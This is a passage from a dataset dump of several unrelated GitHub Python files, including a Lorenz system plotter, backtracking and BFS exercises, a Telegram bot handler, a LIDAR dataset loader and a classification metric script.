dzdt = x * y - beta * z\n return [dxdt, dydt, dzdt]\n\n# Function to simulate the Lorenz system\ndef simulate_lorenz(sigma, rho, beta, t_span, initial_conditions):\n sol = solve_ivp(\n lorenz,\n t_span,\n initial_conditions,\n args=(sigma, rho, beta),\n dense_output=True,\n )\n return sol\n\n# Visualizing Lorenz butterfly with multiple trajectories in x-z plane\ndef visualize_multiple_trajectories(sigma, rho, beta, t_span, num_trajectories=100):\n plt.figure(figsize=(15, 8))\n\n # Plot multiple trajectories\n for _ in range(num_trajectories):\n initial_conditions = np.random.uniform(low=[-10, -10, 0], high=[10, 10, 40])\n sol = simulate_lorenz(sigma, rho, beta, t_span, initial_conditions)\n plt.plot(sol.y[0], sol.y[2], color='blue', alpha=0.1)\n\n plt.title('Lorenz Butterfly: Multiple Trajectories in x-z Plane')\n plt.xlabel('X-axis')\n plt.ylabel('Z-axis')\n plt.show()\n\n# Visualizing a single trajectory in the Lorenz butterfly in x-z plane\ndef visualize_single_trajectory(sigma, rho, beta, t_span, initial_conditions):\n plt.figure(figsize=(15, 8))\n\n # Plot a single trajectory with extended time span\n sol = simulate_lorenz(sigma, rho, beta, t_span, initial_conditions)\n plt.plot(sol.y[0], sol.y[2], color='red', linewidth=0.2, label='Single Trajectory')\n\n plt.title('Lorenz Butterfly: Single Trajectory in x-z Plane')\n plt.xlabel('X-axis')\n plt.ylabel('Z-axis')\n plt.legend()\n plt.show()\n\n# Time span for multiple trajectories\nt_span_multiple = [0, 5]\n\n# Time span for a single trajectory\nt_span_single = [0, 800]\n\n# Number of trajectories for the multiple trajectories plot\nnum_trajectories = 100\n\n# Visualizing multiple trajectories in the Lorenz butterfly in x-z plane\nvisualize_multiple_trajectories(sigma=10, rho=28, beta=8/3, t_span=t_span_multiple, num_trajectories=num_trajectories)\n\n# Visualizing a single trajectory in the Lorenz butterfly in x-z plane\n# Using the same initial conditions for both plots for illustration purposes\ninitial_conditions = np.random.uniform(low=[0, -5, 0], high=[10, 10, 40])\nvisualize_single_trajectory(sigma=10, rho=28, beta=8/3, t_span=t_span_single, initial_conditions=initial_conditions)\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.integrate import solve_ivp\n\n# Lorenz system equations\ndef lorenz(t, xyz, sigma, rho, beta):\n x, y, z = xyz\n dxdt = sigma * (y - x)\n dydt = x * (rho - z) - y\n dzdt = x * y - beta * z\n return [dxdt, dydt, dzdt]\n\n# Function to simulate the Lorenz system\ndef simulate_lorenz(sigma, rho, beta, t_span, initial_conditions):\n sol = solve_ivp(\n lorenz,\n t_span,\n initial_conditions,\n args=(sigma, rho, beta),\n dense_output=True,\n )\n return sol\n\n# Set parameters\nsigma = 10\nrho = 28\nbeta = 8/3\n\n# Set time span\nt_span = [0, 50]\n\n# Set initial conditions\ninitial_conditions = [1.0, 0.0, 0.0]\n\n# Simulate the Lorenz system\nsol = simulate_lorenz(sigma, rho, beta, t_span, initial_conditions)\n\n# Plot x, y, z oscillations with respect to time\nplt.figure(figsize=(10, 6))\nplt.plot(sol.t, sol.y[0], label='x')\n#plt.plot(sol.t, sol.y[1], label='y')\nplt.plot(sol.t, sol.y[2], label='z')\nplt.title('Lorenz System: Oscillations of x, z with Time')\nplt.xlabel('Time')\nplt.ylabel('Oscillations')\nplt.legend()\nplt.show()","repo_name":"PrajwalPrem/CosmoFun","sub_path":"LorenzButterfly.py","file_name":"LorenzButterfly.py","file_ext":"py","file_size_in_byte":3589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"11676105624","text":"# Sum of Subsets Problem\n# n 개의 item을 이용하여 item들의 무게의 합이 W가 되는 부분집합 구하기\n\n# 무게가 증가하는 순으로 데이터를 정렬\n# -> 유망하지 않은지를 쉽게 판단할 수 있음\n# w_(i+1)는 i 수준에서 남아있는 가장 가벼운 아이템의 무게\n# w_(i+1)를 넣을 수 없으면 i+1 이후는 고려 X\n\n# weight: 수준 i의 마디까지 포함된 무게의 합\n# total: 남아 있는 아이템의 무게의 총합\n# weight + w_(i+1) > W (if weight ≠ W) or\n# weight + total < W 이면 유망하지 않다\n\ndef is_promising(index: int, weights: list[int], weight: int, total: int, target_weight: int):\n return weight + total >= target_weight and \\\n (weight == target_weight or weight + weights[index + 1] <= target_weight)\n\ndef sum_of_subsets(index: int, weights: list[int], is_included: list[bool], weight: int, total: int, target_weight: int):\n if is_promising(index=index, \n weights=weights, \n weight=weight, \n total=total, \n target_weight=target_weight):\n if weight == target_weight:\n print(\"[\", end=\"\")\n for x in range(0, len(weights) - 1):\n print(1 if is_included[x] else 0, end=\", \")\n print(f\"{1 if is_included[-1] else 0}]\")\n else:\n is_included[index + 1] = True\n sum_of_subsets(index=index + 1,\n weights=weights,\n is_included=is_included,\n weight=weight + weights[index + 1],\n total=total - weights[index + 1],\n target_weight=target_weight)\n is_included[index + 1] = False\n sum_of_subsets(index=index + 1,\n weights=weights,\n is_included=is_included,\n weight=weight,\n total=total - weights[index + 1],\n target_weight=target_weight)\n\ndef main():\n weights: list[int] = [1, 2, 4, 6]\n target_weight: int = 6\n print(f\"items: {weights} target weight={target_weight}\")\n is_included: list[bool] = [False] * len(weights)\n total: int = 0\n for weight in weights:\n total += weight\n \n sum_of_subsets(index=-1, \n weights=weights, \n is_included=is_included, \n weight=0, \n total=total, \n target_weight=target_weight)\n\nif __name__ == \"__main__\":\n main()","repo_name":"Alegruz/Game-AI-Track","sub_path":"3_2/CSE304_ALGORITHM_ANALYSIS/labs/05_backtracking/sum_of_subsets.py","file_name":"sum_of_subsets.py","file_ext":"py","file_size_in_byte":2601,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"35136547883","text":"from aiogram import F, Router\nfrom aiogram.types import CallbackQuery\nfrom aiogram.types import Message, FSInputFile\n\nfrom bot.database.methods.update import latest_activity\n\nfrom bot.handlers.user.utils import deadline_message\n\nfrom bot.keyboards.user.reply import *\nfrom bot.keyboards.user.inline import *\n\nfrom bot.app.array_filter import convert_to_excel\n\nrouter = Router()\n\n# Глобальные переменные для хранения file_path и counted_apps\nglobal file_path, counted_apps\n\n\n# Вывод всех заявок #\n\n@router.message(F.text == '📥Все')\nasync def all_requests(message: types.Message):\n await send_document_by_request('all', message)\n\n await latest_activity(message.from_user.id) # Записывает время активности\n\n\n# Вывод заявок без исполнителя #\n\n@router.message(F.text == '📤Без исполнителя')\nasync def non_executor_requests(message: Message):\n await send_document_by_request('non_executor', message)\n\n await latest_activity(message.from_user.id) # Записывает время активности\n\n\nasync def send_document_by_request(request_type, message: Message) -> None:\n global file_path, counted_apps\n try:\n file_path, counted_apps = await convert_to_excel(request_type)\n generated_file = FSInputFile(file_path)\n\n await message.answer_document(\n generated_file,\n reply_markup=btn_app_by_city()\n )\n except TypeError:\n await message.answer('⛔️Нет данных для вывода. Пожалуйста, подождите.')\n\n\n# Вывод кол-ва заявок по городам #\n\n@router.callback_query(F.data == 'data_by_city')\nasync def requests_by_city(call: CallbackQuery):\n if await deadline_message(call) is False:\n global file_path, counted_apps # Объявляем глобальные переменные\n\n await call.message.delete()\n await call.message.answer(\n text=counted_apps,\n reply_markup=btn_back_to_excel()\n )\n\n await call.answer()\n\n\n@router.callback_query(F.data == 'back_to_excel')\nasync def back_to_file(call: CallbackQuery):\n if await deadline_message(call) is False:\n global file_path, counted_apps # Объявляем глобальные переменные\n generated_file = FSInputFile(file_path)\n\n await call.message.delete()\n await call.message.answer_document(\n generated_file,\n reply_markup=btn_app_by_city()\n )\n\n await call.answer()\n","repo_name":"MarselNet86/XRT","sub_path":"bot/handlers/user/applications.py","file_name":"applications.py","file_ext":"py","file_size_in_byte":2607,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"75018700384","text":"import torch.utils.data as data\nimport numpy as np\nimport pandas as pd\nfrom pathlib import Path\nfrom typing import List\nfrom PIL import Image\nimport random\nimport lidar\nimport utils_warp as utils\nfrom colour_demosaicing import demosaicing_CFA_Bayer_bilinear as demosaic\nfrom .robotcar_camera.camera_model import CameraModel\n\n\nclass SequenceFolder(data.Dataset):\n \"\"\"LIDAR dataset loader.\n \"\"\"\n\n def __init__(self, root, dataset, lo_params,\n seed=None, mode='train', sequence_length=3,\n transform=None, skip_frames=1,\n load_camera=False, cam_mode='mono',\n cam_preprocessed=False, cam_transform=None, sequence=None,\n nsamples=0):\n np.random.seed(seed)\n random.seed(seed)\n self.root = Path(root)\n self.dataset = dataset\n self.load_camera = load_camera\n self.cam_mode = cam_mode\n self.preprocessed = cam_preprocessed\n\n if sequence is not None:\n self.scenes = [self.root/sequence]\n else:\n scene_list_path = self.root/'train.txt' if mode == 'train' else self.root/'val.txt'\n self.scenes = [self.root/folder.strip()\n for folder in open(scene_list_path) if not folder.strip().startswith(\"#\")]\n\n self.cart_pixels = lo_params['cart_pixels']\n # self.cart_pixels = 512\n self.max_range = 80.0 # if dataset == 'radiate' else 50.0\n # self.cart_resolution = self.max_range/self.cart_pixels\n\n if self.load_camera:\n # self.stereo_left_folder = 'zed_left' if dataset == 'radiate' else 'stereo/left'\n # if dataset == 'robotcar':\n # self.cam_model_left = CameraModel()\n\n if dataset == 'radiate':\n if self.preprocessed:\n self.stereo_left_folder = 'stereo_undistorted/left'\n self.stereo_right_folder = 'stereo_undistorted/right'\n else:\n self.stereo_left_folder = 'zed_left'\n self.stereo_right_folder = 'zed_right'\n elif dataset == 'robotcar':\n if self.preprocessed:\n self.stereo_left_folder = 'stereo_undistorted/left'\n self.stereo_right_folder = 'stereo_undistorted/right'\n else:\n self.stereo_left_folder = 'stereo/left'\n self.stereo_right_folder = 'stereo/right'\n self.cam_model_left = CameraModel()\n self.cam_model_right = CameraModel('stereo_wide_right')\n elif dataset == 'cadcd':\n if self.preprocessed:\n self.stereo_left_folder = 'raw/image_07/cam_preprocessed'\n self.stereo_right_folder = 'raw/image_01/cam_preprocessed'\n else:\n self.stereo_left_folder = 'raw/image_07/data'\n self.stereo_right_folder = 'raw/image_01/data'\n else:\n raise NotImplementedError(\n 'The chosen dataset is not implemented yet! Given: {}'.format(dataset))\n\n self.transform = transform\n self.cam_transform = cam_transform\n # self.train = train\n self.nsamples = nsamples\n self.mode = mode\n self.k = skip_frames\n if dataset == 'radiate':\n self.lidar_folder = 'velo_lidar'\n self.lidar_ext = '*.csv'\n self.lidar_timestamps = 'velo_lidar.txt'\n self.stereo_timestamps = 'zed_left.txt'\n elif dataset == 'robotcar':\n self.stereo_timestamps = 'stereo.timestamps'\n if '2014' in root:\n self.lidar_folder = 'ldmrs' # Robotcar dataset\n self.lidar_ext = '*.bin'\n self.lidar_timestamps = 'ldmrs.timestamps'\n self.max_range = 50.0\n else:\n self.lidar_folder = 'velodyne_left' # Robotcar radar dataset\n self.lidar_ext = '*.png'\n self.lidar_timestamps = 'velodyne_left.timestamps'\n elif dataset == 'cadcd':\n self.lidar_folder = 'raw/lidar_points_corrected/data'\n self.lidar_ext = '*.bin'\n # TODO: CADCD timestamps are not in UNIX format.\n self.lidar_timestamps = 'raw/lidar_points_corrected/timestamps.txt'\n self.stereo_timestamps = 'raw/image_07/timestamps.txt'\n else:\n raise NotImplementedError(\n 'The chosen dataset is not implemented yet! Given: {}'.format(dataset))\n # self.lidar_ext = '*.csv' if dataset == 'radiate' else '*.png'\n self.ground_thr = -1.8 if dataset == 'radiate' else 1.0\n self.crawl_folders(sequence_length)\n\n def crawl_folders(self, sequence_length):\n # k skip frames\n sequence_set = []\n demi_length = (sequence_length-1)//2\n self.shifts = list(range(-demi_length * self.k,\n demi_length * self.k + 1, self.k))\n self.shifts.pop(demi_length)\n for scene in self.scenes:\n # print(scene)\n # intrinsics = np.genfromtxt(scene/'cam.txt').astype(np.float32).reshape((3, 3))\n intrinsics = utils.get_intrinsics_matrix(\n self.dataset, preprocessed=self.preprocessed)\n intrinsics_right = utils.get_intrinsics_matrix(\n self.dataset, preprocessed=self.preprocessed, cam='right')\n rightTleft = utils.get_rightTleft(self.dataset)\n\n imgs = sorted(list((scene/self.lidar_folder).glob(self.lidar_ext)))\n\n if len(imgs) < sequence_length:\n continue\n\n if self.load_camera:\n # We need to collect the corresponding monocular frames within the same dataset class.\n # If we use separate classes for radar and mono, the order gets messy due to shuffling.\n\n # Temporary fix to read stereo folder from non-dataroot directory.\n # Delete the following lines once done. uncomment f_mt below.\n # if self.dataset == 'robotcar':\n # temp_root = Path('/home/yasin/mmwave-raw/robotcar')\n # f_mt = temp_root/scene.name/'stereo.timestamps'\n # if not f_mt.is_file():\n # continue\n # left_imgs = sorted(\n # list((temp_root/scene.name/self.stereo_left_folder).glob(f_type)))\n # elif self.dataset == 'radiate':\n left_imgs = sorted(\n list((scene/self.stereo_left_folder).glob('*.png')))\n if self.cam_mode == 'stereo':\n right_imgs = sorted(\n list((scene/self.stereo_right_folder).glob('*.png')))\n if len(left_imgs) < sequence_length:\n continue\n\n f_rt = scene/self.lidar_timestamps\n f_mt = scene/self.stereo_timestamps\n if self.dataset == 'radiate':\n rts = [float(folder.strip().split(':')[-1].strip())\n for folder in open(f_rt)]\n mts = [float(folder.strip().split(':')[-1].strip())\n for folder in open(f_mt)]\n elif self.dataset == 'robotcar':\n # Robotcar timestamps are in microsecs.\n # Read them in secs.\n rts = [float(folder.strip().split()[0].strip())/1e6\n for folder in open(f_rt)]\n mts = [float(folder.strip().split()[0].strip())/1e6\n for folder in open(f_mt)]\n else:\n raise NotImplementedError(\n 'Currently, RADIATE and RobotCar datasets supported for VO')\n # Some scenes contain timestamps more than images. Drop the extra timestamps.\n mts = mts[:len(left_imgs)]\n\n lidar_idxs = list(\n range(demi_length * self.k, len(imgs)-demi_length * self.k))\n cam_matches_all = self.find_cam_samples(\n lidar_idxs, rts, mts)\n\n for cnt, i in enumerate(range(demi_length * self.k, len(imgs)-demi_length * self.k)):\n sample = {'tgt': imgs[i], 'ref_imgs': []}\n for j in self.shifts:\n sample['ref_imgs'].append(imgs[i+j])\n\n if self.load_camera:\n # self.find_cam_samples(i, rts, mts)\n # try:\n cam_matches = cam_matches_all[cnt]\n # except IndexError:\n # print(len(cam_matches_all))\n # print(i)\n # raise IndexError('Patladi!')\n if cam_matches:\n # Add all the monocular frames between the matched source and target frames.\n sample['intrinsics'] = []\n sample['rightTleft'] = rightTleft\n sample['vo_tgt_img'] = left_imgs[cam_matches[0]]\n sample['vo_ref_imgs'] = []\n\n # vo_ref_imgs = [\n # [left_imgs[src-1],...,left_imgs[tgt]],\n # [left_imgs[tgt],...,left_imgs[src+1]\n # ]\n if self.mode == 'train' and self.cam_mode == 'stereo':\n sample['vo_ref_imgs'].append(\n right_imgs[cam_matches[0]])\n sample['intrinsics'].append(intrinsics_right)\n sample['vo_ref_imgs'].extend([\n # [left_imgs[ref] for ref in refs] for refs in cam_matches[1:]]\n left_imgs[ref] for ref in cam_matches[1:]])\n for j in self.shifts:\n sample['intrinsics'].append(intrinsics)\n else:\n continue\n\n sequence_set.append(sample)\n if self.mode == 'train':\n random.shuffle(sequence_set)\n self.samples = sequence_set\n\n # Subsample dataset\n if self.nsamples > 0 and self.nsamples < len(self.samples):\n skip = len(self.samples)//self.nsamples\n self.samples = self.samples[0:skip*self.nsamples:skip]\n\n # def load_bin(self, path):\n # data = np.fromfile(path, dtype=np.float32)\n # # .transpose() # [3,N] x,y,I\n # ptcld = data.reshape((len(data) // 3, 3)) # [N,4] x,y,z,I\n # # ptcld = ptcld[[0, 1, 3], :]\n # return ptcld\n\n def load_velodyne_csv(self, path):\n # x, y, z, intensity, ring\n # data = np.genfromtxt(path, delimiter=',', dtype=np.float32)\n data = pd.read_csv(\n path, usecols=[0, 1, 2, 3], dtype=np.float32).to_numpy()\n # data = data[[0, 1, 3], :]\n # return data[:,:4].transpose()\n return data.transpose()\n\n def load_radiate_velo(self, path):\n ptcld = self.load_velodyne_csv(path)\n ptcld[3, :] = self.reflectance2colour(ptcld)\n # Remove ground reflections\n ptcld = ptcld[:, ptcld[2] > self.ground_thr]\n\n img = self.ptc2img(ptcld)\n return img\n\n def load_robotcar_velo(self, path):\n if self.lidar_folder == 'ldmrs':\n # ptcld = lidar.load_velodyne_binary(path)\n scan_file = open(path)\n scan = np.fromfile(scan_file, np.double)\n scan_file.close()\n scan = scan.reshape((len(scan) // 3, 3)).transpose()\n scan[:2, :] = -scan[:2, :]\n\n # ptcld = np.vstack((ptcld, np.ones((1, ptcld.shape[1]))))\n img = self.ptc3d2img(scan)\n else:\n ranges, intensities, angles, approximate_timestamps = lidar.load_velodyne_raw(\n path)\n # [4,N] x,y,z,I\n ptcld = lidar.velodyne_raw_to_pointcloud(\n ranges, intensities, angles)\n ptcld[3, :] = self.reflectance2colour(ptcld)\n\n # Mirrorring on x-axis to match camera\n ptcld[1, :] = -ptcld[1, :]\n\n # Filter points at close range\n # ptcld = ptcld[:, np.logical_and(\n # np.abs(ptcld[0]) > 4.0, np.abs(ptcld[1]) > 4.0)]\n\n # Remove ground reflections\n ptcld = ptcld[:, ptcld[2] < self.ground_thr]\n\n img = self.ptc2img(ptcld)\n return img\n\n def reflectance2colour(self, ptcld):\n # Convert reflectance to colour values in [0,1]\n reflectance = ptcld[3, :]\n if reflectance.size != 0:\n colours = (reflectance - reflectance.min()) / \\\n (reflectance.max() - reflectance.min())\n colours = 1 / (1 + np.exp(-10 * (colours - colours.mean())))\n return colours\n else:\n return reflectance\n\n def ptc2img(self, data):\n if data.shape[0] != 4:\n raise ValueError(\"Input must be [4,N]. Got {}\".format(\n data.shape))\n\n # Calculate the sum of power returns that fall into the same 2D image pixel\n power_sum, _, _ = np.histogram2d(\n x=data[0], y=data[1],\n bins=[self.cart_pixels, self.cart_pixels],\n weights=data[3], normed=False,\n range=[[-self.max_range, self.max_range],\n [-self.max_range, self.max_range]]\n )\n # Calculate the number of points in each pixel\n power_count, _, _ = np.histogram2d(\n x=data[0], y=data[1],\n bins=[self.cart_pixels, self.cart_pixels],\n range=[[-self.max_range, self.max_range],\n [-self.max_range, self.max_range]]\n )\n # Calculate the mean of power return in each pixel.\n # histogram2d does either sums or finds the number of poitns, no average.\n img = np.divide(\n power_sum, power_count,\n out=np.zeros_like(power_sum), where=power_count != 0\n )\n img = img.astype(np.float32)[np.newaxis, :, :] # / 255.\n # img[img < 0.2] = 0\n\n # img = np.nan_to_num(img, nan=1e-6)\n # if np.isnan(np.min(img)):\n # print('NaN detected in input!')\n return img\n\n def ptc3d2img(self, data):\n if data.shape[0] != 3:\n raise ValueError(\"Input must be [3,N]. Got {}\".format(\n data.shape))\n\n # Calculate the number of points in each pixel\n power_count, _, _ = np.histogram2d(\n x=data[0], y=data[1],\n bins=[self.cart_pixels, self.cart_pixels],\n range=[[-self.max_range, self.max_range],\n [-self.max_range, self.max_range]]\n )\n img = power_count.astype(np.float32)[np.newaxis, :, :] # / 255.\n # img = img / img.max()\n return img\n\n def load_lidar(self, path):\n data = self.load_radiate_velo(\n path) if self.dataset == 'radiate' else self.load_robotcar_velo(path)\n # data = self.ptc2img(data)\n return data\n\n def load_camera_img_as_float(self, path):\n img = Image.open(path)\n # img = img.resize((640, 384))\n if self.dataset == 'robotcar':\n img = demosaic(img, 'gbrg')\n img = self.cam_model_left.undistort(img)\n img = np.array(img).astype(np.uint8)\n # img = img.astype(np.float32) / 255.\n return img\n\n def load_undistorted_mono_img_as_float(self, path):\n img = Image.open(path)\n return img\n\n def __getitem__(self, index):\n sample = self.samples[index]\n tgt_img = self.load_lidar(sample['tgt'])\n ref_imgs = [self.load_lidar(ref_img)\n for ref_img in sample['ref_imgs']]\n if self.transform is not None:\n # imgs = self.transform([tgt_img] + ref_imgs)\n tgt_img = self.transform(tgt_img) # imgs[0]\n ref_imgs = [self.transform(img) for img in ref_imgs] # imgs[1:]\n\n if self.load_camera:\n if 'vo_tgt_img' in sample:\n if self.preprocessed or self.dataset == 'radiate' or self.dataset == 'cadcd':\n # TODO: On-the-fly rectification support for RADIATE dataset\n # self.load_img = self.load_undistorted_mono_img_as_float\n vo_tgt_img = self.load_undistorted_mono_img_as_float(\n sample['vo_tgt_img'])\n vo_ref_imgs = [self.load_undistorted_mono_img_as_float(\n ref_img) for ref_img in sample['vo_ref_imgs']]\n else:\n # self.load_img = self.load_camera_img_as_float\n vo_tgt_img = self.load_camera_img_as_float(\n sample['vo_tgt_img'], self.cam_model_left)\n if self.cam_mode == 'mono':\n vo_ref_imgs = [self.load_camera_img_as_float(\n ref_img, self.cam_model_left) for ref_img in sample['vo_ref_imgs']]\n else:\n vo_ref_imgs = [self.load_camera_img_as_float(\n sample['vo_ref_imgs'][0], self.cam_model_right)]\n for ref_img in sample['vo_ref_imgs'][1:]:\n vo_ref_imgs.append(self.load_camera_img_as_float(\n ref_img, self.cam_model_left))\n\n if self.cam_transform:\n if self.cam_mode == 'mono':\n imgs, intrinsics = self.cam_transform(\n [vo_tgt_img] + vo_ref_imgs, [np.copy(i) for i in sample['intrinsics']])\n else:\n imgs, intrinsics, extrinsics = self.cam_transform(\n [vo_tgt_img] + vo_ref_imgs,\n [np.copy(i) for i in sample['intrinsics']],\n np.copy(sample['rightTleft']))\n vo_tgt_img = imgs[0]\n vo_ref_imgs = imgs[1:]\n else:\n intrinsics = [np.copy(i) for i in sample['intrinsics']]\n extrinsics = np.copy(sample['rightTleft'])\n else:\n vo_tgt_img = []\n vo_ref_imgs = []\n\n if self.mode == 'train' and self.cam_mode == 'stereo':\n return tgt_img, ref_imgs, vo_tgt_img, vo_ref_imgs, intrinsics, extrinsics\n else:\n return tgt_img, ref_imgs, vo_tgt_img, vo_ref_imgs, intrinsics\n else:\n if self.mode == 'test':\n return tgt_img, ref_imgs, sample['tgt'].stem\n else:\n return tgt_img, ref_imgs\n\n def __len__(self):\n return len(self.samples)\n\n def find_cam_samples(self, t_idxs: List[int], rts: List[List[float]], mts: List[List[float]]) -> List[List[int]]:\n \"\"\"Returns indexes of monocular frames in the form of\n [[tgt, [src-1,...,tgt], [tgt,...,src+1]],\n [tgt, [src-1,...,tgt], [tgt,...,src+1]],...]\n\n Args:\n t_idx (List[int]): Indices of the target lidar frames\n rts (List[float]): List of lidar timestamps\n mts (List[float]): List of monocular timestamps\n\n Returns:\n List[List[int]]: Indexes of the matched monocular frames\n \"\"\"\n t_matches = []\n last_search_idx = 0\n for t_idx in t_idxs:\n idxs = [find_nearest_mono_idx(rts[t_idx], mts, last_search_idx)]\n for s in self.shifts:\n idxs.append(find_nearest_mono_idx(\n rts[t_idx+s], mts, last_search_idx))\n\n # Check if any of the source or target images are not found,\n # also check if the matched indices are unique.\n if any([i < 0 for i in idxs]) or len(set(idxs)) < len(self.shifts)+1:\n t_matches.append([])\n continue\n last_search_idx = idxs[1]\n # # Return all the monocular frame between target and source frames\n # # Convert from [[tgt, src-1, src+1], [tgt, src-1, src+1],...] to\n # # [[tgt, [src-1,...,tgt], [tgt,...,src+1]], [tgt, [src-1,...,tgt], [tgt,...,src+1]],...]\n # idxs[1] = list(range(idxs[1], idxs[0]))\n # idxs[2] = list(range(idxs[0]+1, idxs[2]+1))\n # # Check if we get exactly three previous and next frames.\n # # This is needed for batching.\n # # If we have more than three frames in either directons, trim the last three frames.\n # # Otherwise, return empty list.\n # if len(idxs[1]) > 3:\n # idxs[1] = idxs[1][-3:]\n # else:\n # t_matches.append([])\n # continue\n # if len(idxs[2]) > 3:\n # idxs[2] = idxs[2][-3:]\n # else:\n # t_matches.append([])\n # continue\n # Append the matched sequence\n t_matches.append(idxs)\n return t_matches\n\n\ndef find_nearest_mono_idx(t: int, mts: List[List[float]], last_search_idx: int) -> int:\n \"\"\"Finds the nearest monocular timestamp for the given lidar timestamp\n\n Args:\n t (int): Timestamp of the target frame\n mts (List[List[float]]): List of monocular timestamps\n\n Returns:\n int: Index of the matched monocular frame\n \"\"\"\n\n del_t = 0.050 # the match must be within 50ms of t\n # First check if t is outside monocular frames but still within thr close\n # Check if t comes before monocular frames\n if t < mts[last_search_idx]:\n return last_search_idx if mts[last_search_idx]-t < del_t else -1\n # Check if t comes after monocular frames\n if t > mts[-1]:\n return len(mts)-1 if t-mts[-1] < del_t else -1\n # Otherwise search within monocular frames\n for i in range(last_search_idx, len(mts)-1):\n if t > mts[i] and t < mts[i+1]:\n idx = i if (t-mts[i]) < (mts[i+1]-t) else i+1\n idx = idx if abs(mts[idx]-t) < del_t else -1\n return idx\n return -1\n","repo_name":"yasinalm/gramme","sub_path":"datasets/sequence_folders_lidar.py","file_name":"sequence_folders_lidar.py","file_ext":"py","file_size_in_byte":22047,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"7"} +{"seq_id":"13268179343","text":"from collections import deque\r\n\r\ndef bfs(i,j,d):\r\n queue=deque()\r\n queue.append((i,j,d))\r\n\r\n nx,ny=0,0\r\n while queue:\r\n x,y,d=queue.popleft()\r\n if graph[x][y]==1:\r\n if d==0 or d==2:\r\n d+=1\r\n else:\r\n d-=1\r\n \r\n nx=x+dx[d]\r\n ny=y+dy[d]\r\n\r\n if nx<=0 or nx>n or ny<=0 or ny>m: \r\n return (nx,ny)\r\n queue.append((nx,ny,d))\r\n\r\n \r\n\r\nn,m=map(int,input().split())\r\ngraph=[[0 for _ in range(m+2)]]+[[0]+list(map(int,input().split()))+[0] for _ in range(n)]+[[0 for _ in range(m+2)]]\r\n#동북서남\r\ndx=[0,-1,0,1]\r\ndy=[1,0,-1,0]\r\n\r\n\r\nidx=0\r\nfor i in range(1,n+1):\r\n idx+=1\r\n graph[i][0]=idx\r\nfor i in range(1,m+1):\r\n idx+=1\r\n graph[n+1][i]=idx\r\nfor i in range(n,0,-1):\r\n idx+=1\r\n graph[i][m+1]=idx\r\nfor i in range(m,0,-1):\r\n idx+=1\r\n graph[0][i]=idx\r\n\r\n\r\nresult=[]\r\n\r\nfor i in range(1,n+1):\r\n endX, endY=bfs(i,1,0)\r\n result.append(graph[endX][endY])\r\nfor i in range(1,m+1):\r\n endX, endY=bfs(n,i,1)\r\n result.append(graph[endX][endY])\r\nfor i in range(n,0,-1):\r\n endX, endY=bfs(i,m,2)\r\n result.append(graph[endX][endY])\r\nfor i in range(m,0,-1):\r\n endX, endY=bfs(1,i,3)\r\n result.append(graph[endX][endY])\r\n\r\nprint(*result)","repo_name":"yygs321/CodingTest","sub_path":"백준/Gold/2344. 거울/거울.py","file_name":"거울.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"29248261482","text":"import pandas as pd\r\npd.options.mode.chained_assignment = None\r\nimport numpy as np\r\nfrom sklearn.metrics import confusion_matrix,multilabel_confusion_matrix\r\n\r\n\r\n\r\ndef WeightedCal(weightli,valli):\r\n weigvalsum = 0\r\n all = sum(weightli)\r\n for i in range(len(valli)):\r\n val = valli[i]\r\n weight = weightli[i]/all\r\n weightval = weight*val\r\n weigvalsum = weigvalsum+weightval\r\n\r\n return weigvalsum\r\n\r\n\r\ndef Evaluate(GroundTruth,Prediction):\r\n GroundTruth_c = GroundTruth.copy()\r\n if GroundTruth_c.shape[1]>2:\r\n GroundTruth_Idx = np.argmax(GroundTruth, axis=1).tolist()\r\n Prediction_Idx = np.argmax(Prediction, axis=1).tolist()\r\n\r\n conf_matx = multilabel_confusion_matrix(GroundTruth_Idx, Prediction_Idx)\r\n Gmeanli = []\r\n fscoreli = []\r\n candatenum = []\r\n for i in range(conf_matx.shape[0]):\r\n mtrix = conf_matx[i,:,:]\r\n tn, fp, fn, tp = mtrix.ravel()\r\n Precision = tp / (tp + fp)\r\n Recall = tp / (tp + fn)\r\n F1_score = 2 * Precision * Recall / (Precision + Recall)\r\n specificity = tn / (tn + fp)\r\n G_mean = (Recall * specificity) ** 0.5\r\n classnum = fn + tp\r\n Gmeanli.append(G_mean)\r\n fscoreli.append(F1_score)\r\n candatenum.append(classnum)\r\n\r\n G_mean_weight = WeightedCal(candatenum, Gmeanli)\r\n else:\r\n GroundTruth_Idx = np.argmax(GroundTruth, axis=1).tolist()\r\n Prediction_Idx = np.argmax(Prediction, axis=1).tolist()\r\n\r\n conf_matx = confusion_matrix(GroundTruth_Idx, Prediction_Idx)\r\n tn, fp, fn, tp = conf_matx.ravel()\r\n Recall = tp / (tp + fn)\r\n specificity = tn / (tn + fp)\r\n G_mean = (Recall * specificity) ** 0.5\r\n\r\n if GroundTruth_c.shape[1] > 2:\r\n return G_mean_weight\r\n else:\r\n return G_mean\r\n","repo_name":"Xiaocai-Zhang/ACS-ATCN","sub_path":"ACS-ATCN/evaluate/evaluation_val.py","file_name":"evaluation_val.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"43070067952","text":"from MotorLogic import StrightLine\nimport numpy as np\n\n#Deans calculations are crap\n\nchutes_mappings_game = { '0' : (0, -1),\n'1' : (0,0), '2' : (1,0), '3' : (2,0), '4' : (3,0), '5' : (4,0), '6' : (5,0), '7' : (6,0), '8' : (7,0), '9' : (8,0), '10' : (9,0),\n'20': (0,1), '19': (1,1), '18': (2,1), '17': (3,1), '16': (4,1), '15': (5,1), '14': (6,1), '13': (7,1), '12': (8,1), '11' : (9,1), \n'21': (0,2), '22': (1,2), '23': (2,2), '24': (3,2), '25': (4,2), '26': (5,2), '27': (6,2), '28': (7,2), '29': (8,2), '30': (9,2), \n'40': (0,3), '39': (1,3), '38': (2,3), '37': (3,3), '36': (4,3), '35': (5,3), '34': (6,3), '33': (7,3), '32': (8,3), '31': (9,3), \n'41': (0,4), '42': (1,4), '43': (2,4), '44': (3,4), '45': (4,4), '46': 